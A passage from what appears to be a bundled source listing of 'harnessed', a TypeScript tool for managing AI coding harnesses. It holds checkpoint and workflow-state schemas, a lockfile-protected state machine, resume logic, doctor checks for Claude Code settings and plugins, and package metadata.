}\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname, join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `<harnessed-root>/checkpoints/<phase>.json` (or customPath).\n * v3.0.3: default path routed through `getHarnessedRoot()` SoT (homedir-rooted).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? join(harnessedSubdir('checkpoints'), `${enforced.phase}.json`)\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.5 — Agent Teams capability probe (Q-AUDIT-5b\n// MANDATORY: schema is root-level `env.*` NOT nested `experimental.*`).\n// Sister RESEARCH § 4.3 verbatim implementation; wired by setup.ts / doctor.ts.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { resolve } from 'node:path'\n\nexport interface AgentTeamsCheckResult {\n status: 'pass' | 'warn' | 'missing'\n detected: { env: boolean; settingsJson: boolean }\n envValue?: string\n settingsValue?: string\n remediation?: string\n}\n\nexport async function checkAgentTeams(): Promise<AgentTeamsCheckResult> {\n const envValue = process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n const envOn = envValue === '1'\n\n let settingsValue: string | undefined\n let settingsOn = false\n try {\n const path = resolve(homedir(), '.claude', 'settings.json')\n const raw = await readFile(path, 'utf8')\n const data = JSON.parse(raw) as { env?: Record<string, string> }\n // Q-AUDIT-5b LOCKED: root-level env.* NOT nested experimental.*\n settingsValue = data.env?.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n settingsOn = settingsValue === '1'\n } catch {\n // settings.json missing / unparseable / invalid JSON — non-fatal, fall through to env probe\n }\n\n const detected = { env: envOn, settingsJson: settingsOn }\n if (envOn || settingsOn) {\n return { status: 'pass', detected, envValue, settingsValue }\n }\n\n return {\n status: 'missing',\n detected,\n envValue,\n settingsValue,\n remediation:\n 'Agent Teams not enabled. Add to ~/.claude/settings.json:\\n \"env\": { \"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\": \"1\" }\\nOR run: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1\\nOR export env var:\\n export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1\\nThen restart Claude Code (CC >= 2.1.133 required).',\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th doctor check delegate (Agent Teams env).\n// Wraps src/cli/lib/checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED) into the\n// CheckResult shape consumed by src/cli/doctor.ts (sister probe-gstack.ts\n// delegate pattern for Karpathy ≤200L doctor.ts hard limit守门).\n//\n// Status map: checkAgentTeams 'pass' → 'pass'; 'missing' → 'warn' (non-blocking\n// per CLAUDE.md L21 \"warn ≠ fail / exit 0\" R2.4.1 + R20.11 acceptance c).\n\nimport { checkAgentTeams } from './checkAgentTeams.js'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nexport async function checkAgentTeamsDoctor(): Promise<CheckResult> {\n const r = await checkAgentTeams()\n if (r.status === 'pass') {\n const source = r.detected.env ? 'env var' : 'settings.json'\n return {\n name: 'Agent Teams env',\n status: 'pass',\n message: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 (${source})`,\n }\n }\n return {\n name: 'Agent Teams env',\n status: 'warn',\n message: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS not set (Agent Teams disabled)',\n fix: r.remediation,\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 10th doctor check (planning-with-files plugin\n// presence per R20.15 acceptance d + D-15). File-based probe NOT shell CLI call\n// (sister checkAgentTeams.ts pattern; avoids dependency on `claude plugin list`).\n//\n// Probe path: ~/.claude/plugins/cache/planning-with-files/planning-with-files/<version>/\n// per capabilities.yaml planning-with-files.plugin_path field. Real install path\n// verified 2026-05-20: `~/.claude/plugins/cache/planning-with-files/planning-with-files/2.34.0/`.\n// Missing → warn (non-blocking per warn ≠ fail R2.4.1) with `claude plugin install` remediation.\n\nimport { readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nconst REMEDIATION =\n 'install via Claude Code plugin marketplace: `claude plugin install planning-with-files` (requires >=2.2.0 per R20.15 + D-15)'\n\nexport async function checkPlanningWithFiles(): Promise<CheckResult> {\n const root = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'planning-with-files',\n 'planning-with-files',\n )\n try {\n const entries = await readdir(root)\n // entries are version subdirs (e.g., '2.34.0'); at least one = installed.\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'planning-with-files plugin',\n status: 'pass',\n message: `installed (version ${versions.join(', ')})`,\n }\n }\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'plugin directory exists but no version subdir found',\n fix: REMEDIATION,\n }\n } catch {\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'not installed (plugin cache path missing)',\n fix: REMEDIATION,\n }\n }\n}\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `<harnessed-root>/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `<harnessed-root>/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n//\n// v3.0.3 hotfix — state + lock path migrated from `<cwd>/.harnessed/...` to\n// `<homedir>/.harnessed/...` via `getHarnessedRoot()` SoT. Sister v2.0.1\n// backup-root migration verbatim — EPERM-free when user CWD is read-only.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\n// v3.0.3 — lazy path resolution so HARNESSED_ROOT_OVERRIDE in e2e tests\n// applies before the first write (module-level const captured the path\n// at import time, before the test set the env var).\nfunction statePath(): string {\n return harnessedFile('current-workflow.json')\n}\nfunction lockTarget(): string {\n return getHarnessedRoot()\n}\nfunction lockOpts() {\n return {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: harnessedFile('.lock'),\n }\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the harness-root `.lock` (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n `another harnessed process holds the lock at ${harnessedFile('.lock')} — wait or kill stale process (try: harnessed status)`,\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08).\n * v3.0.3: lock target is the homedir-rooted harness root (ensures the lock\n * directory exists before proper-lockfile tries to write `.lock` into it —\n * proper-lockfile will fail if the lockfilePath parent does not exist). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n const target = lockTarget()\n // Ensure the harness root exists before proper-lockfile tries to write.\n await mkdir(target, { recursive: true })\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(target, lockOpts())\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(statePath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n const path = statePath()\n await mkdir(dirname(path), { recursive: true })\n await withLock(async () => {\n await writeFile(path, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return {\n status: 'no-paused-phase',\n error: 'no current-workflow.json found under <harnessed-root>',\n }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"3.2.0\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"expr-eval\": \"^2.0.2\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = 